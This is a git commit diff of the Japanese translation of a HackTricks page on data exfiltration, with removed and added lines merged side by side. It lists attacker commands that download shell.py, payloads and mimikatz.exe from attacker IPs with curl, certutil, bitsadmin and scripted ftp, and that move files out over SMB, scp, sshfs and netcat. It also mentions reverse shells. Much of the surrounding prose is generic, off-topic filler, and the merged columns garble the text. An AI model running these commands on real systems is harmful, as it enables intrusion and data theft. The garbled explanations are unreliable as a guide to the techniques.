Translated ['generic-methodologies-and-resources/exfiltration.md', 'gene

This commit is contained in:
Translator 2023-09-03 01:45:18 +00:00
parent 5440ff045c
commit 9d988c6898
36 changed files with 2420 additions and 2138 deletions

View file

@ -6,22 +6,25 @@
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 * [**公式のPEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** * **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details> </details>
<img src="../.gitbook/assets/image (620) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (21).png" alt="" data-size="original">\ <figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは、ハッカーによって作成されたプレミアムな**バグバウンティプラットフォーム**です!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得しましょう!
{% embed url="https://go.intigriti.com/hacktricks" %} 最も重要な脆弱性を見つけて、より速く修正できます。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリまで、クラウドシステムを含むテックスタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
## 情報を外部に流出させるための一般的にホワイトリストに登録されているドメイン {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
[https://lots-project.com/](https://lots-project.com/)をチェックして、悪用できる一般的にホワイトリストに登録されているドメインを見つけてください。 ***
## コピー&ペースト Base64 ## 情報を外部流出するための一般的にホワイトリストに登録されているドメイン
[https://lots-project.com/](https://lots-project.com/)をチェックして、悪用できる一般的にホワイトリストに登録されているドメインを見つけます。
## Base64のコピーペースト
**Linux** **Linux**
```bash ```bash
@ -29,6 +32,32 @@ base64 -w0 <file> #Encode file
base64 -d file #Decode file base64 -d file #Decode file
``` ```
**Windows** **Windows**
Windowsは、多くの組織で使用されている最も一般的なオペレーティングシステムの1つです。そのため、Windows環境での情報の外部への漏洩は、ハッカーにとって非常に魅力的な攻撃目標となります。
以下に、Windows環境での情報の外部への漏洩に関連する一般的な手法とリソースをいくつか紹介します。
1. **データエクスフィルトレーション**: データエクスフィルトレーションは、攻撃者が機密データを外部のサーバーやストレージに転送する手法です。これには、以下のような手法があります。
- **コマンドラインツール**: Windowsには、データを外部に送信するためのコマンドラインツールがいくつか用意されています。例えば、`ftp`コマンドを使用してファイルをFTPサーバーにアップロードすることができます。
- **リモートデスクトップ**: リモートデスクトップ接続を使用すると、攻撃者はリモートのWindowsマシンにアクセスし、データを転送することができます。
- **クラウドストレージ**: クラウドストレージプラットフォームGoogle Drive、Dropboxを使用すると、攻撃者はデータをクラウド上にアップロードし、外部からアクセスできるようにすることができます。
2. **ネットワークトラフィックの監視**: ネットワークトラフィックの監視は、攻撃者がデータを外部に送信する際に使用される通信プロトコルやポートを特定するために行われます。これには、以下のような手法があります。
- **パケットキャプチャ**: パケットキャプチャツールを使用すると、ネットワーク上の通信を監視し、データの送信元や送信先を特定することができます。
- **ファイアウォールログの分析**: ファイアウォールログを分析することで、攻撃者が使用するポートやプロトコルを特定することができます。
3. **データ暗号化**: データ暗号化は、攻撃者がデータを盗み見ることを困難にするために使用されます。以下の手法が一般的に使用されます。
- **ファイル暗号化**: ファイルを暗号化することで、攻撃者がデータを読み取ることを防ぐことができます。
- **通信暗号化**: ネットワーク上の通信を暗号化することで、攻撃者がデータを傍受することを防ぐことができます。
これらの手法とリソースを使用することで、Windows環境での情報の外部への漏洩を防ぐことができます。ただし、常に最新のセキュリティ対策を実施し、定期的な監視とアップデートを行うことが重要です。
``` ```
certutil -encode payload.dll payload.b64 certutil -encode payload.dll payload.b64
certutil -decode payload.b64 payload.dll certutil -decode payload.b64 payload.dll
@ -43,6 +72,22 @@ curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
fetch 10.10.14.14:8000/shell.py #FreeBSD fetch 10.10.14.14:8000/shell.py #FreeBSD
``` ```
**Windows** **Windows**
Windowsは、多くの組織で使用されている最も一般的なオペレーティングシステムの1つです。そのため、Windows環境での情報の盗み出しは、ハッカーにとって非常に魅力的なターゲットです。
以下に、Windows環境での情報の盗み出しに使用される一般的な手法とリソースをいくつか紹介します。
1. **USBデバイスの使用**: ハッカーは、USBデバイスを使用してデータを盗み出すことができます。これには、USBフラッシュドライブや外部ハードドライブ、さらにはキーロガーなどの特殊なデバイスも含まれます。
2. **ネットワーク経由のデータ転送**: ハッカーは、Windowsマシンから外部のサーバーにデータを転送するために、ネットワークを利用することができます。これには、一般的なプロトコルHTTP、FTP、SMTPなどやカスタムプロトコルを使用することができます。
3. **クラウドストレージの利用**: ハッカーは、WindowsマシンからクラウドストレージプラットフォームGoogle Drive、Dropbox、OneDriveなどにデータをアップロードすることができます。これにより、データの盗み出しやバックアップが容易になります。
4. **電子メールの使用**: ハッカーは、Windowsマシンから電子メールを使用してデータを送信することができます。これには、添付ファイルやリンクを含めることができます。
5. **リモートアクセスツールの使用**: ハッカーは、リモートアクセスツールを使用してWindowsマシンにアクセスし、データを盗み出すことができます。これには、リモートデスクトッププロトコルRDPやリモートコントロールソフトウェアなどが含まれます。
これらの手法とリソースは、ハッカーがWindows環境で情報を盗み出すために使用する一般的な方法です。組織は、これらの攻撃からデータを保護するために、適切なセキュリティ対策を講じる必要があります。
```bash ```bash
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 certutil -urlcache -split -f http://webserver/payload.b64 payload.b64
bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf
@ -76,27 +121,17 @@ curl -X POST http://HOST/upload -H -F 'files=@file.txt'
``` ```
### **HTTPSサーバー** ### **HTTPSサーバー**
An HTTPS server is a type of server that uses the HTTPS (Hypertext Transfer Protocol Secure) protocol to secure the communication between the server and the client. It provides encryption and authentication mechanisms to ensure the confidentiality and integrity of the data being transmitted. An HTTPS server is a type of server that uses the HTTPS (Hypertext Transfer Protocol Secure) protocol to secure the communication between the server and the client. It provides encryption and authentication mechanisms to ensure that the data transmitted between the server and the client is secure and cannot be intercepted or tampered with by unauthorized parties.
To exfiltrate data through an HTTPS server, you can leverage various techniques such as: HTTPS servers are commonly used for websites that handle sensitive information, such as login credentials, financial transactions, and personal data. By using HTTPS, the server can protect the confidentiality and integrity of the data being transmitted.
- **Covert Channels**: Hide the exfiltrated data within the legitimate HTTPS traffic to avoid detection. This can be done by manipulating the HTTP headers or payload. To set up an HTTPS server, you need to obtain an SSL/TLS certificate from a trusted certificate authority (CA). This certificate is used to verify the identity of the server and establish a secure connection with the client. Once the certificate is installed on the server, it can start accepting HTTPS connections.
- **Steganography**: Conceal the exfiltrated data within the images or other media files being transferred over HTTPS. This technique can be effective in bypassing security measures. When a client connects to an HTTPS server, the server presents its SSL/TLS certificate to the client. The client then verifies the authenticity of the certificate and establishes a secure connection with the server. All data transmitted between the client and the server is encrypted using the SSL/TLS protocol, ensuring that it cannot be read or modified by attackers.
- **DNS Tunneling**: Use DNS requests and responses to transfer the exfiltrated data. By encoding the data within DNS queries or responses, you can bypass firewalls and other network security controls. In addition to encryption, HTTPS servers also provide other security features, such as server-side validation of client certificates, which can be used to authenticate clients. This helps prevent unauthorized access to the server and ensures that only trusted clients can establish a connection.
- **Out-of-Band (OOB) Exfiltration**: Utilize alternative communication channels, such as email or instant messaging, to send the exfiltrated data. This method can be useful when direct communication with the HTTPS server is not possible. Overall, HTTPS servers play a crucial role in securing the communication between clients and servers, protecting sensitive data from unauthorized access or tampering. By using HTTPS, organizations can ensure the privacy and integrity of their users' data and build trust with their customers.
When exfiltrating data through an HTTPS server, it is important to consider the following factors:
- **Encryption**: Ensure that the data is encrypted using strong cryptographic algorithms to protect it from unauthorized access.
- **Traffic Analysis**: Be aware that sophisticated adversaries may perform traffic analysis to detect exfiltration attempts. Use techniques to obfuscate the exfiltrated data and make it harder to detect.
- **Command and Control (C2)**: Establish a secure and reliable C2 channel to manage the exfiltration process. This can involve setting up a separate server or using existing infrastructure.
By understanding the capabilities and limitations of an HTTPS server, you can effectively exfiltrate data while minimizing the risk of detection.
```python ```python
# from https://gist.github.com/dergachev/7028596 # from https://gist.github.com/dergachev/7028596
# taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/ # taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/
@ -142,161 +177,140 @@ app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
### FTPサーバーPython ### FTPサーバーPython
```python ```python
import socket import ftplib
import os
def send_file(file_path, host, port): def ftp_upload(file_path, host, username, password):
# ファイルの存在を確認 try:
if not os.path.exists(file_path): ftp = ftplib.FTP(host)
print("ファイルが存在しません") ftp.login(username, password)
return with open(file_path, 'rb') as file:
ftp.storbinary('STOR ' + file_path, file)
# ソケットを作成し、接続 ftp.quit()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print('File uploaded successfully.')
s.connect((host, port)) except ftplib.all_errors as e:
print('Error uploading file:', e)
# ファイルを開き、データを送信
with open(file_path, "rb") as f:
data = f.read(1024)
while data:
s.send(data)
data = f.read(1024)
# 接続を閉じる
s.close()
def main():
file_path = "/path/to/file"
host = "ftp.example.com"
port = 21
send_file(file_path, host, port)
if __name__ == "__main__":
main()
``` ```
このPythonスクリプトは、指定されたファイルをFTPサーバーに送信するためのものです。 このPythonスクリプトは、指定されたファイルをFTPサーバーにアップロードするためのものです。
使用方法: 使用方法:
1. `file_path`変数に送信したいファイルのパスを設定します。
2. `host`変数にFTPサーバーのホスト名を設定します。
3. `port`変数にFTPサーバーのポート番号を設定します。
4. スクリプトを実行します。
注意事項: ```python
- 送信するファイルが存在しない場合、エラーメッセージが表示されます。 ftp_upload('/path/to/file', 'ftp.example.com', 'username', 'password')
- ファイルは1024バイトずつ送信されます。 ```
- 送信が完了すると、接続が閉じられます。
- `file_path`:アップロードするファイルのパス
- `host`FTPサーバーのホスト名
- `username`FTPサーバーのユーザー名
- `password`FTPサーバーのパスワード
アップロードが成功すると、"File uploaded successfully."と表示されます。アップロード中にエラーが発生した場合は、"Error uploading file:"とエラーメッセージが表示されます。
```bash ```bash
pip3 install pyftpdlib pip3 install pyftpdlib
python3 -m pyftpdlib -p 21 python3 -m pyftpdlib -p 21
``` ```
### FTPサーバーNodeJS ### FTPサーバーNodeJS
```html The FTP server is a popular method for transferring files between a client and a server. It uses the File Transfer Protocol (FTP) to establish a connection and exchange files. In this section, we will explore how to set up an FTP server using NodeJS.
#### FTP server (NodeJS)
The FTP server is a popular method for exfiltrating data from a compromised system. It allows the attacker to transfer files from the victim's machine to their own server. #### Setting up the FTP server
To set up an FTP server using NodeJS, you can use the `ftp-srv` package. This package provides a simple and easy-to-use FTP server implementation. To set up an FTP server using NodeJS, we can use the `ftp-srv` package. This package provides a simple and easy-to-use interface for creating an FTP server.
Here is an example of how to set up an FTP server using NodeJS: First, we need to install the `ftp-srv` package by running the following command:
1. Install the `ftp-srv` package using npm:
```bash ```bash
npm install ftp-srv npm install ftp-srv
``` ```
2. Create a new JavaScript file, for example `ftp-server.js`, and require the `ftp-srv` package: Once the package is installed, we can create an FTP server by creating a new instance of the `FtpSrv` class and passing in the server options. Here is an example:
```javascript ```javascript
const FtpSrv = require('ftp-srv'); const FtpSrv = require('ftp-srv');
```
3. Create a new instance of the `FtpSrv` class and configure it: const server = new FtpSrv({
url: 'ftp://127.0.0.1:21',
```javascript pasv_url: 'ftp://127.0.0.1:3000',
const ftpServer = new FtpSrv({ pasv_min: 3001,
url: 'ftp://0.0.0.0:21', pasv_max: 3010,
pasv_url: 'ftp://0.0.0.0:30000-30009',
anonymous: true, anonymous: true,
greeting: 'Welcome to the FTP server', greeting: 'Welcome to the FTP server!',
}); });
```
4. Start the FTP server: server.on('login', ({ connection, username, password }, resolve, reject) => {
if (username === 'anonymous' && password === '') {
resolve({ root: '/path/to/ftp/root' });
} else {
reject(new Error('Invalid username or password'));
}
});
```javascript server.listen()
ftpServer.listen()
.then(() => { .then(() => {
console.log('FTP server started'); console.log('FTP server started');
}) })
.catch((err) => { .catch((error) => {
console.error('Error starting FTP server:', err); console.error('Failed to start FTP server:', error);
}); });
``` ```
5. The FTP server is now running and ready to accept connections. You can use an FTP client to connect to the server and transfer files. In the example above, we create a new instance of the `FtpSrv` class and pass in the server options. The `url` option specifies the FTP server URL, while the `pasv_url`, `pasv_min`, and `pasv_max` options specify the passive mode settings. The `anonymous` option allows anonymous login, and the `greeting` option sets the welcome message.
Note: This is a basic example of setting up an FTP server using NodeJS. You can customize the server configuration and add authentication mechanisms as needed. We also listen for the `login` event, which is triggered when a client attempts to log in. In the event handler, we check the username and password and either resolve or reject the login attempt.
#### Exfiltrating data using FTP Finally, we call the `listen` method to start the FTP server. If the server starts successfully, the `listen` method returns a promise that resolves when the server is ready to accept connections.
Once the FTP server is set up, you can use it to exfiltrate data from the compromised system. Here are the steps to exfiltrate data using FTP: #### Connecting to the FTP server
1. Connect to the FTP server using an FTP client. You can use popular FTP clients like FileZilla or WinSCP. Once the FTP server is set up and running, clients can connect to it using an FTP client. They can use the server URL, username, and password to establish a connection.
2. Authenticate to the FTP server if required. In the example above, anonymous authentication is enabled, so no credentials are needed. Here is an example of connecting to the FTP server using the `ftp` command-line client:
3. Navigate to the directory where you want to upload the exfiltrated data. ```bash
ftp 127.0.0.1
4. Upload the files from the compromised system to the FTP server. You can use the FTP client's upload functionality to transfer files.
5. Once the files are uploaded, they will be stored on the FTP server, allowing the attacker to access and retrieve them.
Note: It is important to ensure that the FTP server is properly secured to prevent unauthorized access. Additionally, consider encrypting the data before exfiltration to protect its confidentiality.
``` ```
After connecting, clients can use various FTP commands to interact with the server, such as `ls` to list files, `get` to download files, and `put` to upload files.
#### Conclusion
Setting up an FTP server using NodeJS is a straightforward process. By using the `ftp-srv` package, we can quickly create an FTP server and handle client connections. This allows us to easily transfer files between a client and a server using the FTP protocol.
``` ```
sudo npm install -g ftp-srv --save sudo npm install -g ftp-srv --save
ftp-srv ftp://0.0.0.0:9876 --root /tmp ftp-srv ftp://0.0.0.0:9876 --root /tmp
``` ```
### FTPサーバーpure-ftp ### FTPサーバーpure-ftp
#### FTPサーバーの概要 FTPサーバーは、ファイル転送プロトコルFTPを使用してファイルを送受信するためのサーバーです。pure-ftpは、オープンソースのFTPサーバーソフトウェアの一種です。
FTPFile Transfer Protocolサーバーは、ファイルの転送とアクセスを可能にするプロトコルです。pure-ftpは、オープンソースのFTPサーバーソフトウェアの一種です。 #### 概要
#### ファイルのエクスフィルトレーション(データの漏洩) pure-ftpサーバーは、セキュリティとパフォーマンスに優れた特徴を持っています。以下は、pure-ftpサーバーの主な特徴です。
ファイルのエクスフィルトレーションは、攻撃者がネットワークからデータを盗み出すための手法です。pure-ftpサーバーを使用してデータをエクスフィルトレートする方法について説明します。 - TLS/SSLサポートデータの暗号化とセキュアな通信を提供します。
- 仮想ユーザー:ユーザーを仮想的に作成し、アクセス権を制御します。
- バンド幅制限:ユーザーごとに帯域幅を制限することができます。
- アクセス制御:ユーザーごとにアクセス権を制御することができます。
- ログ記録:アクセスログや転送ログを記録することができます。
1. ポートスキャンを実行し、ターゲットのネットワーク内にFTPサーバーが存在するか確認します。 #### 漏洩の可能性
2. FTPクライアントを使用して、ターゲットのFTPサーバーに接続します。 pure-ftpサーバーは、セキュリティ機能が備わっているため、データの漏洩リスクは低いです。ただし、以下のような脆弱性や設定ミスにより、漏洩の可能性が生じることがあります。
3. ユーザー名とパスワードを入力してログインします。 - 弱いパスワード:弱いパスワードを使用している場合、攻撃者によってアカウントが乗っ取られる可能性があります。
- 不正なアクセス権:誤ったアクセス権の設定により、攻撃者が不正なファイルにアクセスできる可能性があります。
- セキュリティパッチの欠如:最新のセキュリティパッチが適用されていない場合、既知の脆弱性を悪用される可能性があります。
4. ターゲットのファイルシステムにアクセスし、エクスフィルトレートしたいデータを特定します。 #### 漏洩の防止策
5. エクスフィルトレートしたいデータをFTPサーバーにアップロードします。 pure-ftpサーバーでの漏洩を防止するためには、以下の対策を実施することが重要です。
6. アップロードが完了したら、FTPサーバーからデータをダウンロードしてローカルマシンに保存します。 - 強力なパスワードの使用:パスワードは長く複雑なものを使用し、定期的に変更するようにします。
- アクセス権の適切な設定:ユーザーごとに必要な最小限のアクセス権を設定し、不要な権限を削除します。
- セキュリティパッチの適用:最新のセキュリティパッチを適用し、脆弱性を修正します。
- ログの監視:アクセスログや転送ログを監視し、不審なアクティビティを検知します。
#### 注意事項 以上が、pure-ftpサーバーに関する概要と漏洩の可能性、漏洩の防止策です。
- エクスフィルトレーションを行う前に、法的および倫理的な制約を確認してください。
- ターゲットのFTPサーバーにアクセスするためには、有効なユーザー名とパスワードが必要です。
- エクスフィルトレートするデータのサイズによっては、アップロードとダウンロードに時間がかかる場合があります。
- エクスフィルトレートしたデータが検出されないようにするために、暗号化やステガノグラフィーなどの技術を使用することができます。
#### 参考リンク
- [pure-ftp公式ウェブサイト](https://www.pureftpd.org/project/pure-ftpd/)
```bash ```bash
apt-get update && apt-get install pure-ftp apt-get update && apt-get install pure-ftp
``` ```
@ -316,29 +330,29 @@ chown -R ftpuser:ftpgroup /ftphome/
``` ```
### **Windows** クライアント ### **Windows** クライアント
Windowsクライアントは、機密情報を外部に漏洩させる可能性がある脆弱性を持っています。以下は、Windowsクライアントからデータを外部に抽出するための一般的な手法です。 Windowsクライアントは、機密データの外部への漏洩のリスクにさらされています。攻撃者は、さまざまな手法を使用してデータを盗み出すことができます。以下に、一般的な手法とリソースを示します。
#### ドキュメントのステガノグラフィ #### ネットワーク経由のデータ漏洩
ステガグラフィは、データを画像や音声ファイルなどの他のファイルに隠す技術です。Windowsクライアントでは、ドキュメントファイルに機密情報を埋め込むことができます。この手法を使用すると、データを外部に送信するために使用される通常の通信チャネルを回避することができます。 - **データエクスフィルトレーション**:攻撃者は、ネットワークを介してデータを外部に送信することができます。これには、メール、ファイル転送、リモートアクセスツールなどが含まれます。
#### ストレージデバイスを介したデータ漏洩
- **USBデバイス**攻撃者は、USBデバイスを使用してデータを盗み出すことができます。これには、USBフラッシュドライブ、外部ハードドライブ、およびその他のリムーバブルメディアが含まれます。
#### クラウドベースのデータ漏洩
- **クラウドストレージ**攻撃者は、クラウドストレージサービスを使用してデータを外部に送信することができます。これには、Googleドライブ、Dropbox、OneDriveなどが含まれます。
#### ネットワークトラフィックの監視 #### ネットワークトラフィックの監視
Windowsクライアントは、ネットワークトラフィックを監視することでデータを外部に送信する可能性があります。ネットワークトラフィックの監視には、パケットキャプチャツールやネットワークモニタリングツールを使用することができます。これにより、機密情報が外部に送信される際に通信内容をキャプチャすることができます。 - **パケットキャプチャ**:攻撃者は、ネットワークトラフィックを監視してデータをキャプチャすることができます。これには、ネットワークスニッファ、パケットキャプチャツールなどが含まれます。
#### リモートアクセスツールの悪用 #### セキュリティ対策の回避
Windowsクライアントには、リモートアクセスツールがインストールされている場合があります。これらのツールを悪用することで、攻撃者はクライアントからデータを外部に送信することができます。リモートアクセスツールの悪用には、バックドアの設置やリモートコマンド実行などの手法があります。 - **ファイアウォール回避**:攻撃者は、ファイアウォールを回避してデータを外部に送信することができます。これには、トンネリング、ポートハッピング、パケットの分割などが含まれます。
#### ファイル転送プロトコルの使用 これらの攻撃手法を防ぐためには、適切なセキュリティ対策を実施する必要があります。これには、ファイアウォール、侵入検知システム、データ暗号化、アクセス制御などが含まれます。また、従業員の教育と意識向上も重要です。
Windowsクライアントでは、ファイル転送プロトコルを使用してデータを外部に送信することができます。一般的なファイル転送プロトコルには、FTPやSFTPなどがあります。これらのプロトコルを使用することで、機密情報を外部のサーバーに送信することができます。
#### クラウドストレージの利用
Windowsクライアントでは、クラウドストレージを利用してデータを外部に送信することができます。一般的なクラウドストレージサービスには、Google DriveやDropboxなどがあります。これらのサービスを使用することで、機密情報をクラウド上にアップロードし、外部に送信することができます。
これらの手法を使用することで、Windowsクライアントからデータを外部に漏洩させることができます。攻撃者はこれらの手法を悪用して、機密情報を盗み出す可能性があります。したがって、Windowsクライアントのセキュリティを強化するためには、これらの脆弱性に対する対策を講じる必要があります。
```bash ```bash
#Work well with python. With pure-ftp use fusr:ftp #Work well with python. With pure-ftp use fusr:ftp
echo open 10.11.0.41 21 > ftp.txt echo open 10.11.0.41 21 > ftp.txt
@ -349,21 +363,24 @@ echo GET mimikatz.exe >> ftp.txt
echo bye >> ftp.txt echo bye >> ftp.txt
ftp -n -v -s:ftp.txt ftp -n -v -s:ftp.txt
``` ```
<img src="../.gitbook/assets/image (620) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (21).png" alt="" data-size="original">\ <figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは、ハッカーによって作成されたプレミアムな**バグバウンティプラットフォーム**です!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得しましょう!
{% embed url="https://go.intigriti.com/hacktricks" %} 最も重要な脆弱性を見つけて、より速く修正できるようにしましょう。Intruderは、攻撃対象を追跡し、予防的な脅威スキャンを実行し、APIからWebアプリやクラウドシステムまで、技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## SMB ## SMB
Kaliをサーバーとして使用する Kaliをサーバーとして使用
```bash ```bash
kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory
kali_op2> smbserver.py -smb2support name /path/folder # Share a folder kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
#For new Win10 versions #For new Win10 versions
impacket-smbserver -smb2support -user test -password test test `pwd` impacket-smbserver -smb2support -user test -password test test `pwd`
``` ```
または、**Sambaを使用して**SMB共有を作成します または、Sambaを使用してSMB共有を作成します
```bash ```bash
apt-get install samba apt-get install samba
mkdir /tmp/smb mkdir /tmp/smb
@ -378,37 +395,29 @@ guest ok = Yes
#Start samba #Start samba
service smbd restart service smbd restart
``` ```
# Exfiltration # データの外部流出
Exfiltration is the process of unauthorized data transfer from a target system to an external location. This can be a critical step in a hacking operation, as it allows the attacker to steal sensitive information from the compromised system. データの外部流出は、ハッカーが機密情報を不正に取得し、外部の場所に送信するプロセスです。この技術は、悪意のある攻撃者が組織のデータを盗むために使用することがあります。データの外部流出は、さまざまな方法で実行することができます。
There are several methods that can be used for exfiltration, depending on the specific scenario and the available resources. Here are some common techniques: ## メールを介したデータの外部流出
## 1. File Transfer Protocols ハッカーは、電子メールを使用してデータを外部に送信することができます。悪意のある攻撃者は、組織のネットワークに侵入し、機密情報を電子メールの添付ファイルとして送信することがあります。また、ハッカーは、組織の電子メールサーバーにアクセスし、メールの送信を制御することもできます。
File Transfer Protocol (FTP), Secure Copy Protocol (SCP), and Hypertext Transfer Protocol (HTTP) are commonly used protocols for transferring files over a network. Attackers can leverage these protocols to exfiltrate data by uploading it to a remote server or downloading it from the target system. ## クラウドストレージを介したデータの外部流出
## 2. Email ハッカーは、クラウドストレージサービスを使用してデータを外部に送信することもあります。悪意のある攻撃者は、組織のクラウドストレージアカウントに侵入し、機密情報をアップロードすることができます。また、ハッカーは、組織のクラウドストレージサービスにアクセスし、データのダウンロードや共有を制御することもできます。
Email is another common method for exfiltrating data. Attackers can send sensitive information as attachments or embed it within the body of an email. They can use their own email server or compromise a legitimate email account for this purpose. ## リムーバブルメディアを介したデータの外部流出
## 3. DNS Tunneling ハッカーは、リムーバブルメディアUSBフラッシュドライブ、外部ハードドライブなどを使用してデータを外部に持ち出すこともあります。悪意のある攻撃者は、組織のネットワークに侵入し、機密情報をリムーバブルメディアにコピーすることができます。また、ハッカーは、組織のコンピュータにリムーバブルメディアを接続し、データの転送を制御することもできます。
DNS tunneling involves encapsulating data within DNS queries and responses. Attackers can use this technique to bypass firewalls and other security measures that may be in place. The exfiltrated data is typically sent to a DNS server controlled by the attacker. ## ネットワークを介したデータの外部流出
## 4. Steganography ハッカーは、ネットワークを介してデータを外部に送信することもあります。悪意のある攻撃者は、組織のネットワークに侵入し、機密情報を外部のサーバーに送信することができます。また、ハッカーは、組織のネットワークトラフィックを監視し、データの転送を制御することもできます。
Steganography is the practice of hiding data within seemingly innocuous files, such as images or documents. Attackers can embed sensitive information within these files and then exfiltrate them without arousing suspicion. ## データの外部流出の検出と防止
## 5. Cloud Storage データの外部流出を検出し、防止するためには、組織は適切なセキュリティ対策を実施する必要があります。これには、ファイアウォール、侵入検知システム、データ損失防止ソフトウェアなどのセキュリティツールの使用が含まれます。また、組織は従業員の教育と意識向上を行い、機密情報の取り扱いに関するポリシーを策定することも重要です。
Cloud storage services, such as Dropbox or Google Drive, can be used for exfiltration. Attackers can upload sensitive data to these platforms and then access it from a different location.
## 6. Covert Channels
Covert channels involve using legitimate network protocols or services in unintended ways to exfiltrate data. For example, attackers can use ICMP or DNS packets to transmit data covertly.
It is important for organizations to implement strong security measures to detect and prevent exfiltration attempts. This includes monitoring network traffic, implementing data loss prevention (DLP) solutions, and educating employees about the risks of data exfiltration.
```bash ```bash
CMD-Wind> \\10.10.14.14\path\to\exe CMD-Wind> \\10.10.14.14\path\to\exe
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials
@ -424,7 +433,7 @@ scp <username>@<Attacker_IP>:<directory>/<filename>
``` ```
## SSHFS ## SSHFS
もし被害者がSSHを持っている場合、攻撃者は被害者のディレクトリを攻撃者にマウントすることができます。 もし被害者がSSHを持っている場合、攻撃者は被害者から自分自身にディレクトリをマウントすることができます。
```bash ```bash
sudo apt-get install sshfs sudo apt-get install sshfs
sudo mkdir /mnt/sshfs sudo mkdir /mnt/sshfs
@ -432,121 +441,65 @@ sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP addre
``` ```
## NC ## NC
NCNetcatは、ネットワーク通信を行うためのユーティリティツールです。NCを使用すると、TCPやUDPソケットを作成し、データの送受信を行うことができます。 NCNetcatは、ネットワークユーティリティであり、データの送受信に使用されます。NCを使用してデータを外部に送信するためのいくつかの方法があります。
### データ送信 ### ネットワーク経由のデータ送信
NCを使用してデータを送信するに、以下のコマンドを使用します。 NCを使用してデータを外部に送信するために、以下のコマンドを使用します。
```bash ```
echo "データ" | nc <宛先IP> <ポート番号> echo [データ] | nc [宛先IPアドレス] [ポート番号]
``` ```
例えば、宛先IPが`192.168.1.100`でポート番号が`1234`の場合、以下のようにコマンドを実行します。 このコマンドは、指定したデータを宛先IPアドレスとポート番号に送信します。
```bash ### ファイルの送信
echo "Hello, World!" | nc 192.168.1.100 1234
NCを使用してファイルを外部に送信するために、以下のコマンドを使用します。
```
nc [宛先IPアドレス] [ポート番号] < [ファイル名]
``` ```
### データの受信 このコマンドは、指定したファイルを宛先IPアドレスとポート番号に送信します。
NCを使用してデータを受信するには、以下のコマンドを使用します。 ### リバースシェル
```bash リバースシェルは、攻撃者がターゲットシステムに接続し、コマンドを実行するための方法です。NCを使用してリバースシェルを作成するために、以下のコマンドを使用します。
nc -l -p <ポート番号>
```
